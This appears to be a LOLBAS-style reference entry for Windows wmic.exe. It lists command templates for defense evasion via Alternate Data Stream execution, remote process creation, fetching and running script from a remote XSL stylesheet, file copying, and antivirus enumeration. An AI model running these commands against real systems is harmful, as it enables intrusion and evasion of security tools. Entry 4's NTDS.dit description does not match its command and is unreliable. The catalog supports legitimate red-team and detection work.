Wmic.exe

type: OSBinaries
The WMI command-line (WMIC) utility provides a command-line interface for WMI

Full path

C:\Windows\System32\wbem\wmic.exe
C:\Windows\SysWOW64\wbem\wmic.exe

Commands

  1. ADSUser T1564.004

    Execute binary file hidden in Alternate data streams to evade defensive counter measures

    wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

    Execute a .EXE file stored as an Alternate Data Stream (ADS)

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: EXE

  2. ExecuteUser T1218

    Execute binary from wmic to evade defensive counter measures

    wmic.exe process call create "{CMD}"

    Execute calc from wmic

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: CMD

  3. ExecuteUser T1218

    Execute binary on a remote system

    wmic.exe /node:"192.168.0.1" process call create "{CMD}"

    Execute evil.exe on the remote system.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: CMDExecute: Remote

  4. ExecuteUser T1218

    Execute binary on remote system

    wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

    Create a volume shadow copy of NTDS.dit that can be copied.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: XSLExecute: Remote

  5. ExecuteUser T1218

    Execute script from remote system

    wmic.exe process get brief /format:"{PATH_SMB:.xsl}"

    Executes JScript or VBScript embedded in the target remote XSL stylsheet.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: XSLExecute: Remote

  6. CopyUser T1105

    Copy file.

    wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"

    Copy file from source to destination.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  7. ExecuteUser T1518.001

    Recon

    WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productState

    Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.

    os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: DiscoveryExecute: Antivirus Enumeration

Detection

Resources

acknowledgement: Casey Smith @subtee, Avihay Eldad @AvihayEldad